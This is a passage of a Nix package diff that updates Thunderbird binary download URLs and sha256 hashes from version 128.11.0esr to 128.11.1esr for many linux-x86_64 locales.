       arch = "linux-x86_64";
-      sha256 = "1309c22fed0408f03fa7121de214625f622b74ada6fef86a289f7d660c6e17ea";
+      sha256 = "c40f9151efc1a580fd822ed0eaadb35ce56df7f9ec52941eb01252602f0f0d54";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/ast/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/ast/thunderbird-128.11.1esr.tar.bz2";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "6c97500878038dfe1823ef6c10295fb17bb54d86552e11964fb48db3ee1c1f16";
+      sha256 = "7a519cee82ec611073e8b0ae4b24ca59b21cccd46e795d699330fb87f65ed1eb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/be/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/be/thunderbird-128.11.1esr.tar.bz2";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "7c936e7ac0c2ece4ac5bf8529d327ddd86dd995bcb9f6b0aa0f538d7a61cb440";
+      sha256 = "eca443f0501b7441c71c71f88b0710dc7c75e28e90819e74b2f920959b30c7bb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/bg/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/bg/thunderbird-128.11.1esr.tar.bz2";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "73280bd32c41edc38094c3299707c8b2449deba9735d32bf801967203f4e39fc";
+      sha256 = "eb8a824f9dc96d6ad19b612969d6643a1f2e90e7898eaf0998bc95c97bc0a0d2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/br/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/br/thunderbird-128.11.1esr.tar.bz2";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "200bb74fce955a7e7fe1ae03d469e662cc885e76f543f05ad288be7d849042a1";
+      sha256 = "5f9fd740cacd732375a65d9afa85447f5ac6d1d3d24303ffd6f5d8c524aadb10";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/ca/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/ca/thunderbird-128.11.1esr.tar.bz2";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "dde2e5e69b7bf24ff0e6cb9bdb202a3f363a568e5636109d339f9e24d62d5c79";
+      sha256 = "548b0a8d16cc7ef934974b71fc292f3b25dda8df187d24ad6325a3ec728159e9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/cak/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/cak/thunderbird-128.11.1esr.tar.bz2";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "d546f73a7d12eb5551a326d4ed90d1236a893522c9ccf636ef98e789f407dfb5";
+      sha256 = "b4c6a6ff1826481a6344eb02cd02de7b36c11741e36092e3067ec2f8611e8896";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/cs/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/cs/thunderbird-128.11.1esr.tar.bz2";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "d72847a0cd7511bf954425b74f64190aac603577f0438cd86504f0e73e99470d";
+      sha256 = "5ed093659df290708a4c5491a735cfacd48b05c0c3ac12fb5b4866bafe88ed7f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/cy/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/cy/thunderbird-128.11.1esr.tar.bz2";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "27e198634bcee4eb9a048537caac55294cd08da193e9d4db6237173ce696b2ca";
+      sha256 = "faaed9ba9c8c77d5746fb2281b909fead2a9c4bf22693228540fc706c5263d98";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/da/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/da/thunderbird-128.11.1esr.tar.bz2";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "bfdcec29a1b0f512f5183b8ea3a3dde0de5e31c0a289108365ef208c641c57ac";
+      sha256 = "4f45cbc3ecff2e608c210ae2cb9ea1cdbd4a31a7133044b7e37e0fe3d51e1dd0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/de/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/de/thunderbird-128.11.1esr.tar.bz2";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "13b8cdc1bb772de898caf376c89da74f75cf2f4040a3cda858f0f88af3c8eff8";
+      sha256 = "00f55afea34eace46798661c3f4fd15deb5fb23f6fce595af15a8628e81fce74";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/dsb/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/dsb/thunderbird-128.11.1esr.tar.bz2";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "db534420d5fd292849e9f54ef9bf0755dd301a04b2700d2bb2ac8d4b6fd6ddc7";
+      sha256 = "5cefcd091aaab2e2d7dff6215bb32cc750f59c245688b67908d8350ea4c6aa8f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/el/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/el/thunderbird-128.11.1esr.tar.bz2";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "3ddda65156961513f393c4bf13a679d5c878427793ed5c18d6b9b9cbfddd64ac";
+      sha256 = "09fb56913dcf3b5a4a5aac77aec83d2981211dd12160382e6de6f8de08521419";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/en-CA/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/en-CA/thunderbird-128.11.1esr.tar.bz2";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "a32fe87536fdb2537170abafe84ea860c2ab66bf247db9529b5029711c951198";
+      sha256 = "48c1fef2388352fed9a4aca79bf8b08e45a5de7bb8f0c14ce7024559f5ade487";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/en-GB/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/en-GB/thunderbird-128.11.1esr.tar.bz2";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "450afd730337f4bde982dded28ec0434996e3734a1b93ac93d981ae299af5349";
+      sha256 = "7d58ff808050a56f3d15429926947909a85a08b918f5c998d1b3dbbb92fa20b6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/en-US/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/en-US/thunderbird-128.11.1esr.tar.bz2";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "de6d32c96c6c3b99c0f35f6f38f08079d534a5b7f2ef38cc8cf1f61549885274";
+      sha256 = "a9ce7e6d976fcb6f666ac8bbda0341eb88325de92d46cbf650402014cc94cc1d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/es-AR/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/es-AR/thunderbird-128.11.1esr.tar.bz2";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "164c540d9e275860e5503982b3bda20d840be9728b8629c943a5fb9084168625";
+      sha256 = "4a0d95b1eed90999ab1a991cb485004955d6fa657f0606cde3836bda436f624b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/es-ES/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/es-ES/thunderbird-128.11.1esr.tar.bz2";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "10a77813766ff14ad64d9317b9bb19877d135ab3e184a56516b79a524bf77c38";
+      sha256 = "f566a2f28b45d7babac97c1fd5e91ecd613493f62a6bb27e6f28f2f63dd05b83";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/es-MX/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/es-MX/thunderbird-128.11.1esr.tar.bz2";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "9d2c4fac454703423a6bb91651bcc47c722a9cca8f739abc87c6bdd6b7523739";
+      sha256 = "aa579b2eb5106ed37cc7a80bb9a69cbed691e54bef0c154f350baf9024e96c66";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/et/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/et/thunderbird-128.11.1esr.tar.bz2";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "a44d881fc416f588a4bed3303ed07b1fc158adf2bbac3196710d43a30065aa9e";
+      sha256 = "0ec388dc71bb31a4729cc34b348f7ef6c1aa456e75958e18f0e1a0aa3487485c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/eu/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/eu/thunderbird-128.11.1esr.tar.bz2";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "6847b49aa68e9adcf3883163aba6f012e3bc54998f5eec334493841bbbbafcd1";
+      sha256 = "c3a0a7a08eefa9b20c7eb0f00b380f3b59019585587ef7a7c7518376426eb717";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/fi/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/fi/thunderbird-128.11.1esr.tar.bz2";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "8c1d9abcb72ec6dcb9b3d40d0311c28613d0a2efb7869ccd6ca04a423bcc1b64";
+      sha256 = "48724600f5dbee5d8bf01025fd85fd8605ae3328cbba36a0cf66a5fb36f76215";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/fr/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/fr/thunderbird-128.11.1esr.tar.bz2";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "2ddebc586491cc7448c22fa13585b82a6a13c91d46eaed62f77128d63efe4b67";
+      sha256 = "9d046568bdb3914fb039ccd7ed9f7a6eb57ab8ec654be89c4e7a46e7b09e106b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/fy-NL/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/fy-NL/thunderbird-128.11.1esr.tar.bz2";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "c73d2692e2be3e86253657ae9c98186249b579aee77344c13d9c16d9dc30f1eb";
+      sha256 = "1928a51ce10f959ba5774d278e79fa65d3fa9518d9f51f6401bbf48ea9722192";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/ga-IE/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/ga-IE/thunderbird-128.11.1esr.tar.bz2";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "f7f1a13ba8c9e59b9d5a6049d7970d8bcdd407e4823c3c3ed4e118728cd17640";
+      sha256 = "d3cb2ae096f89d4435df4f478b3fbd10a48fcb99dd53f3fd9e1ab63fb4fe2075";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/gd/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/gd/thunderbird-128.11.1esr.tar.bz2";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "dd60c63c98dc43e7f6446a3d563550dfe35c3c5350a014ec5127b20453be8a74";
+      sha256 = "ed52f16a9c754d7e12bdc7bc6bb5d3c3273352569ac075120426bc54c495d404";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/gl/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/gl/thunderbird-128.11.1esr.tar.bz2";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "b89d7f956c78a8432c0e02e100f286585df6f17af43ba005b8b4aab02e72fbe6";
+      sha256 = "b160144e23fb630f522fe0ddcb474c547f7f2c81c566611bd3139ac43cebdf9a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/he/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/he/thunderbird-128.11.1esr.tar.bz2";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "36d5b9928cc3f70882931defe1f87d7430514d358ef7e9214ea145ee096966c9";
+      sha256 = "08088bd8e492ee0f0408bd1126b4f0bf1dc713bfea540d0fe646ec1813705e5a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/hr/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/hr/thunderbird-128.11.1esr.tar.bz2";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "070b2e037e96e338d658b088ea2b39b75799dd5aff1cbab2f942f7142d9bbd5e";
+      sha256 = "30a797e5eda3b45cfaec58d4af61ec8ebedccfd8c7f7fcbd875bbb0f5bb1a2bd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/hsb/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/hsb/thunderbird-128.11.1esr.tar.bz2";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "5d69c7f93def7bec56afb85990380c6eb76c543af61aad3933493fab60081d0b";
+      sha256 = "edec321ce22bbc1f23186acc526afddf7fe1f31542609f176550f2d064cff8c9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/hu/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/hu/thunderbird-128.11.1esr.tar.bz2";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "6253b1908a8c268f51babd096947d4755bb4eee3d64bc06e9fa9ee44d31c9813";
+      sha256 = "b09425982fb5268104f41f6c9f4575c2a0c826c493131da48044f6916a53ff8d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/hy-AM/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/hy-AM/thunderbird-128.11.1esr.tar.bz2";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "422965b47284186ab870784274ba01526069cb7c14384286e46414e079dee130";
+      sha256 = "08db6f74f258e21a23a730a5dd9725c75d1e3125f164f41ba1023fa43bc2ba19";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/id/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/id/thunderbird-128.11.1esr.tar.bz2";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "f1a91dbcdda48d90b517d1e1966dff27f16c2e5b3bd9ddec0b026a91f41080af";
+      sha256 = "737bdcba6ada377cc8729fb4b5ad115062dca1398949cdffab12bcfbacbbeb09";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/is/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/is/thunderbird-128.11.1esr.tar.bz2";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "e2b3127f2b032af7e2cb69377700251b0fc9b26c68258884c9de2236d38ac1d9";
+      sha256 = "0b48d0b881d99e91ebb6a62763504fc3fcf941ae3a946b2cff5d557113baea29";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/it/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/it/thunderbird-128.11.1esr.tar.bz2";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "a3ef4ccb354fe207d037e0ffe802b334f127dbec84138782316d629f3568a4b1";
+      sha256 = "54d0a4980828e74ae8605bc3b61e919376e16c016e140667093b1959249061e4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/ja/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/ja/thunderbird-128.11.1esr.tar.bz2";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "0a8ce5f4b644287f38279693b7859576961b07d0a6e019b408fe18ff92d386fe";
+      sha256 = "ea466164a5b4a86667ae0b6f85b78f729a2ea548b65a84bbca2b8a8836cb21ca";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/ka/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/ka/thunderbird-128.11.1esr.tar.bz2";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "724c39f5f6cc8c3de6fdc80162e2f07d93a661126466a4802f3acad54d10a402";
+      sha256 = "93c584f654955026231c4e26c1d25734406044cf53c63d99e1da6ef00ea34c9d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/kab/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/kab/thunderbird-128.11.1esr.tar.bz2";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "136a6aa0611487b679beb8ac4bbe4512015e5432d7a3c109b23b2ad137cf7138";
+      sha256 = "4d155a1e427611c9b7d2e90fa0c03751d45c5273b213b05ec2c3933060cd164a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/kk/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/kk/thunderbird-128.11.1esr.tar.bz2";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "23c544b09ba1e49f56a8eece84d07b2f683ae7114ffd6e6377bef46591721ece";
+      sha256 = "37952480dd1db22937c026ec86353a3fe4d198ea599a8655531867531c26fb57";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/ko/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/ko/thunderbird-128.11.1esr.tar.bz2";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "b17748d3d4306f661cb708b859589c118b3c48b3f833e7d545a0940084454d42";
+      sha256 = "2585c98466e0ab121a0218839b25a81933338e6c833d90b7f45a9977b0f5b5cf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/lt/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/lt/thunderbird-128.11.1esr.tar.bz2";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "4e6bf8b343156935412358b0e362f7de7f66cac00b94824090e8c89966a589c1";
+      sha256 = "a8f17cd2ceeae6e8493bc1080a1df398a22606488100e92f9d09734f39f84fc3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/lv/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/lv/thunderbird-128.11.1esr.tar.bz2";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "9173422a5df58b13f62d74df636555f7e040bc8f3cba600aeb29626b3c989327";
+      sha256 = "85dfc8450b35967b78cb3c219d243ff03f3647465aeb255b94a4e7f3478dfc89";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/ms/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/ms/thunderbird-128.11.1esr.tar.bz2";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "6bfb11c4461c4292402fe3217d1be193136a0bd660440b12465c4a3e7255c0fd";
+      sha256 = "bbf683df18e06900b76d05e9a0a6db60d6e8626817a2cb416d37028331343ad4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/nb-NO/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/nb-NO/thunderbird-128.11.1esr.tar.bz2";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "c69773267bbc3dbd6a7d53b66a02b8b6b76f34c899e710a0d446e4a0839531f9";
+      sha256 = "a0bc5dbe90b850510c070963ea21380ce65eb3f6926710d1bb012cb50d784132";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/nl/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/nl/thunderbird-128.11.1esr.tar.bz2";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "05458c4137e09c20f9be6e335d346e048d054dd62fb1f2a89500790f14ee7c76";
+      sha256 = "fc89316092a335e53fdff912350a17369cfa653576979064f1fd1addd9dd38f4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/nn-NO/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/nn-NO/thunderbird-128.11.1esr.tar.bz2";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "0055cc060a0934d20e4e264d051ac50eae91455554497c9f5f4ab2aaaa382a76";
+      sha256 = "eb686ca02ebd3b2c018697b707763f7b80e0159c3756d1ac3181f5a7071d1cfc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/pa-IN/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/pa-IN/thunderbird-128.11.1esr.tar.bz2";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "8dda9257c94d3a5753f578c67a8c5c939757bbc812d2f75a02633dc6717a6712";
+      sha256 = "e26e3557f2348ddd3763566a2b5dc4897cfba7181c904807b37a73fceed8e3d6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/pl/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/pl/thunderbird-128.11.1esr.tar.bz2";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "afdd28291f27a634c8b7d0d3fb4d02056973818a4218913a20d4560e8b532fa3";
+      sha256 = "ffdd0668cc1f94ec3ee99dace3cebdc9143be05b7931e7b3d75a11134f410063";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/pt-BR/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/pt-BR/thunderbird-128.11.1esr.tar.bz2";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "496b95963b9949a7009d2416837aac60523fe53ddb07dede29a60680532f0f0e";
+      sha256 = "994b3e8fa530b4d1d5333dec0497d393223b26774ec8e6794308a15240fc8a39";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/pt-PT/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/pt-PT/thunderbird-128.11.1esr.tar.bz2";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "ab60938e6f28fee805d23d739d52b003ee9b94ad2648d917cc8dcf283ac59980";
+      sha256 = "ead36dc368cbf288100e63c1a23a14eed9821ebaad5e53d485a96640cf8c9488";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/rm/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/rm/thunderbird-128.11.1esr.tar.bz2";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "4ff61809a1e3fc19e415d11c98eb6cfd6f94d8246de3d4d736612820a5461aff";
+      sha256 = "32e966ffc3c1353369d498b4dd668726c92b05cd8fa875844b35c55eea24ffbd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/ro/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/ro/thunderbird-128.11.1esr.tar.bz2";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "a4debb5cb3782c674f1fe48064fd761ae80d15388fbcc0303ee8252d7c6a8ef7";
+      sha256 = "d3e6ee59b0fc83d40e3eb7fc469ab3cd8fc9ad2607ff1177a54c3774c611399d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/ru/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/ru/thunderbird-128.11.1esr.tar.bz2";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "fcf137902ef9fbf274bba913277ef04a598f708c0eb5e6e0bcd8ccb26485dd37";
+      sha256 = "23036342924ac4327e8e89236c3a9b5d72aa17bf6e6587995879781546ff3030";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/sk/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/sk/thunderbird-128.11.1esr.tar.bz2";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "666e6f9e8fe7d206a356fb577c61c08da96bbe176439e52e855a2c3125cda9b3";
+      sha256 = "8531b07c52f9b3c4cc1595728101b541fb18f20ff57210d865bae13edc8f984e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/sl/thunderbird-128.11.0esr.tar.bz2";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/linux-x86_64/sl/thunderbird-128.11.1esr.tar.bz2";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "21bdfa1b4f26d3c15bbb19d14e9be1b8810e143d0163276f88961fc7f8c9d2a7";
+      sha256 = "9a36d79fc11198001f6c9dd9dca78ab3985ed08cf34c1545f0f06aa7c4284ead";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/linux-x86_64/sq/thunderbird-128.11.0esr.tar.bz2";
